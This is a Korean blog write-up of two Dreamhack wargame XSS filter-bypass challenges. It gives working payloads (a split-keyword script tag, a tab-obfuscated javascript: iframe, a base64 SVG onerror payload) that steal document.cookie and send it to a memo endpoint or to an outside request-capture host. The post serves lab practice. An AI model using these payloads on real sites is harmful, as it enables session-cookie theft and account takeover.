본문 바로가기
프로그래밍/해킹

XSS Filtering Bypass 실습 문제

by 만디기 2024. 7. 22.

문제 :

https://dreamhack.io/wargame/challenges/433/

https://dreamhack.io/wargame/challenges/434/

 

1. 분석

1) app.py

- 파라미터를 넘길 수 있는 곳은 memo()와 flag()이다.

- memo() 엔드포인트의 render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티코드로 변환해 저장하기 때문에 XSS 취약점이 발생하지 않는다.

- vuln() 엔드포인트에서 xss_filter 함수를 통해 param 값에 xss 공격을 시도하는지 확인하고 필터링하고 있다.

- 하지만 단순히 키워드를 ""로 변경하는 수준이므로 이를 이용하여 필터링을 우회할 수 있다.

- vuln() 엔드포인트는 check_xss 함수에서 호출하며, 이 함수는 flag() 엔드포인트에서 호출한다.

- 이를 이용하여 쿠키 값을 불러올 수 있는데, 이를 얻어올 때는 외부에서 접근 가능한 웹 서버를 사용하거나 문제에서 제공하는 memo 엔드포인트를 사용할 수 있다. (alert는 시도해 봤는데 안 되더라... 이유가 뭘까 => 아마도 alert가 Host에서 실행되기 때문인가???)

 

2. 익스플로잇

1) memo 페이지 사용

- flag 엔드포인트에서 다음 내용 입력
<scronipt>document['locatio'+'n'].href = "/memo?memo=" + document.cookie;</scronipt>

* POST로 보내는 방식이기 때문에 URL을 직접 입력해서는 수행할 수 없다.
- POST 방식은 GET 방식처럼 주소 입력 창에 주소를 직접 적어서 사용자 쿼리를 전송하지 못한다. 
- 따라서 POST 방식으로 URL 주소에 사용자 쿼리를 전달하려면 HTML 폼을 이용하든지, POST 방식으로 사용자 쿼리를 전송하는 프로그램을 이용해야 한다.)
- Postman으로 시도해 보았으나 요청이 거부됨.

======================================================================================================

- advanced 문제의 경우 script/on 자체가 Block 되는 방식이기 때문에 다른 방법을 이용해야 한다.
- flag 엔드포인트에서 입력하는 경우, 해당 값은 URL 인코딩되어 들어가기 때문에 이 점을 유의해야 한다.
- 태그는 <script> 태그가 아닌 다른 태그 이용

<iframe src="javascr	ipt: locatio	n.href='memo?memo='+do	cument.cookie">

- 드림핵에 고수의 다른 답변도 있어 기록해둔다...
- 맨 뒤에 #x가 들어가는 이유는 무엇인지 모르겠다...
<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0ibG9jYXRpb24uaHJlZj0nL21lbW8/bWVtbz0nK2RvY3VtZW50LmNvb2tpZSIgLz4KPC9zdmc+#x" /></svg>

 

2) 웹 서버 사용

- 드림핵 툴즈 서비스 이용
- flag 엔드포인트에서 다음과 같이 입력

<scronipt>document['locatio'+'n'].href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</scronipt>

======================================================================================================

- advanced 문제의 경우 script/on 자체가 Block 되는 방식이기 때문에 다른 방법을 이용해야 한다.
- flag 엔드포인트에서 입력하는 경우, 해당 값은 URL 인코딩되어 들어가기 때문에 이 점을 유의해야 한다.
- 태그는 <script> 태그가 아닌 다른 태그 이용

<iframe src="javascr	ipt: locatio	n.href='http://RANDOMHOST.request.dreamhack.games/?memo='+do	cument.cookie">

'프로그래밍 > 해킹' 카테고리의 다른 글

Ghidra 사용법  (0) 2024.08.03
IDA 사용법  (0) 2024.08.03
XSS Filtering Bypass  (0) 2024.07.20
File Vulnerability Advanced for linux & Apache htaccess  (0) 2024.07.20
Command Injection Advanced 실습 문제  (0) 2024.07.17